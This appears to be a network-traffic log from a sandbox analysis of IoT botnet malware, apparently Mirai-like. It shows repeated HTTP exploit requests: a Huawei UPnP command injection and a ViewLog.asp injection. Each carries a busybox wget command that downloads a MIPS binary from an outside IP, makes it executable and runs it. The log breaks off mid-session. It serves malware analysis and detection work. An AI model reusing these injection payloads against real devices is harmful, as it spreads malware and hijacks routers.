                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:33.912806988 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:49.272492886 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                532192.168.2.154794495.86.88.1488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:20.771502018 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                533192.168.2.153590295.86.81.1178080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:21.006813049 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                534192.168.2.156081894.247.142.278080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:21.687716007 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                535192.168.2.154883831.34.90.988080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:21.738184929 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:21.915189981 CET1024INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 774
                                                Date: Thu, 23 Nov 2023 04:22:21 GMT
                                                Keep-Alive: timeout=20
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 37 31 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [&#47;cgi-bin&#47;ViewLog.asp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.71</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                536192.168.2.153524231.136.84.1488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:21.743863106 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:24.953161001 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:31.096966028 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.128604889 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:07.703886986 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                537192.168.2.155596862.171.185.2528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:21.754259109 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                538192.168.2.154252895.163.86.1338080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:21.774375916 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:21.987149000 CET374INHTTP/1.1 403 Forbidden
                                                Server: nginx/1.20.1
                                                Date: Thu, 23 Nov 2023 04:20:26 GMT
                                                Content-Type: text/html
                                                Content-Length: 153
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.20.1</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                539192.168.2.153453294.66.62.1458080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:21.777559996 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                540192.168.2.155577494.120.0.2448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:21.787682056 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
